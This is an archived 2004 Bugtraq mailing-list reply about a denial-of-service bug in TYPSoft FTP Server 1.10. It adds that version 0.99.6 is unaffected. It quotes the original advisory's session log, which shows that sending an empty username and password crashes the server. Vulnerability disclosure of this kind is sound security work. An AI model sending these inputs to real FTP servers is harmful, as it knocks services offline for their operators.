Re: TYPSoft FTP Server 1.10 may be crashed

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: TYPSoft FTP Server 1.10 may be crashed
From: Maxim Polyakov <max@xxxxxxxxxxxxxxx>
Date: Thu, 5 Feb 2004 08:49:20 +0200
In-reply-to: <20040204115022.26015.qmail@xxxxxxxxxxxxx>
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Organization: Bresttelecom
References: <20040204115022.26015.qmail@xxxxxxxxxxxxx>
Reply-to: Maxim Polyakov <max@xxxxxxxxxxxxxxx>

The "TYPSoft FTP Server 0.99.6" has not this bug.

ib> Application:  TYPSoft FTP Server
ib>               http://www.typsoft.com
ib> Version:      1.10
ib> Bug:          Denial Of Service

ib> TYPSoft FTP Server may be crashed with empty USERNAME. 
ib> -----------------------------------------------------------------------
ib> 220 TYPSoft FTP Server 1.10 ready...
ib> USER
ib> 331 Password required for .
ib> PASS
ib> 501 Access violation at address 77F526AB in module 'ntdll.dll'. 
ib> Write of address 00404C4D
ib> -----------------------------------------------------------------------
ib> and the ftp server may be crashed.

References:
- TYPSoft FTP Server 1.10 may be crashed
  - From: intuit bug_hunter

Prev by Date: Re: X-Cart vulnerability
Next by Date: [PINE-CERT-20040201] reference count overflow in shmat()
Previous by thread: TYPSoft FTP Server 1.10 may be crashed
Next by thread: rxgoogle.cgi XSS Vulnerability.
Index(es):
- Date
- Thread